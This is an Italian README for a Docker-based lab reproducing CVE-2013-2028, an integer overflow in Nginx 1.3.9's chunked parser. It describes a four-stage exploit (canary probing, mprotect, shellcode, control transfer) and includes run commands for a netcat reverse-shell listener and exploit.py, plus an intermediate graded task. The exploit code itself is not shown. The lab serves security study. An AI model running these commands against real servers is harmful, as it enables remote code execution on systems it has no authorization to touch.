Lab basato su Docker ed exploit Python per CVE-2013-2028, un integer overflow nel parser chunked di Nginx 1.3.9, che copre il recupero del canary, mprotect e l'esecuzione di shellcode.
Software vulnerabile: Nginx 1.3.9
Funzione vulnerabile: ngx_http_parse_chunked
CVE-2013-2028 è una vulnerabilità di integer overflow nel parser della codifica di trasferimento chunked HTTP di Nginx. Nelle condizioni prese di mira da questo ambiente di laboratorio, la vulnerabilità può causare una corruzione della memoria e può essere utilizzata per influenzare il flusso di controllo.
Questo repository fornisce un ambiente isolato basato su Docker per studiare la vulnerabilità e riprodurre il flusso di lavoro di sfruttamento.
L'exploit completo è composto da quattro fasi principali:
Recupero dello stack canary
Recupera lo stack canary tramite probing byte per byte.
Manipolazione delle protezioni di memoria
Calcola le informazioni sull'indirizzo rilevanti e costruisce la sequenza di flusso di controllo necessaria per invocare mprotect sulla regione di memoria controllata.
Posizionamento dello shellcode
Copia il payload nella regione di memoria controllata.
Trasferimento del flusso di controllo
Trasferisce l'esecuzione alla regione di memoria controllata.
L'exploit completo dimostra la progressione dall'attivazione del parser vulnerabile, attraverso la corruzione della memoria e la manipolazione del flusso di controllo, fino all'esecuzione di codice controllato.
exploit.pynetcat per il listener utilizzato dal laboratorio completoSul sistema host, avviare un listener sulla porta configurata:
nc -lvp 4345
Utilizzare la stessa porta con l'argomento --listenerport (-lp) quando si esegue l'exploit.
Compilare e avviare l'ambiente Docker:
sudo docker-compose up --build
Il target vulnerabile esegue Nginx 1.3.9 all'interno del container.
È possibile verificare la versione di Nginx con:
docker-compose exec cve-2013-2028 /usr/local/nginx/sbin/nginx -v
Eseguire:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
L'exploit esegue le fasi di recupero del canary e di costruzione del payload prima di inviare il payload finale al target vulnerabile.
Se è disponibile un canary recuperato in precedenza, è possibile fornirlo tramite:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port> \
-c '<canary>'
Il repository fornisce anche un'attività intermedia per valutare i progressi nel flusso di lavoro di ricerca sulla vulnerabilità.
Eseguire:
python3 intermediate_task.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
L'attività intermedia esegue i suoi controlli direttamente contro il target Docker in esecuzione. Non si basa su file di evidenza creati manualmente o su asserzioni JSON fornite manualmente.
L'attività verifica due aree:
L'attività:
L'attività:
nginx -t.Il controllo della configurazione stabilisce che la configurazione di Nginx è sintatticamente valida. Non deve di per sé essere interpretato come prova che CVE-2013-2028 sia stata mitigata.
Output di esempio:
============================================================
CVE-2013-2028 INTERMEDIATE TASK
============================================================
Target:
nginx running: True
nginx version: 1.3.9
vulnerable build: True
Progress:
[x] vulnerability_identified
[x] configuration_validated
All required checks completed.
Exercise complete.
L'attività intermedia memorizza i risultati di questi controlli a runtime in:
grader_state.json
Questo file viene utilizzato solo per persistere lo stato prodotto dai controlli. Non è la fonte della determinazione della vulnerabilità.
L'ambiente di laboratorio utilizza intenzionalmente Nginx 1.3.9, una vecchia release di Nginx affetta da CVE-2013-2028.
L'ambiente Docker fornisce un target isolato per la ricerca sulla vulnerabilità e gli esercizi di sfruttamento. Il servizio vulnerabile dovrebbe essere accessibile solo attraverso le interfacce esposte dalla configurazione del laboratorio.
Questo repository è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza autorizzata in un ambiente di laboratorio isolato.
Non eseguire l'exploit contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione al test.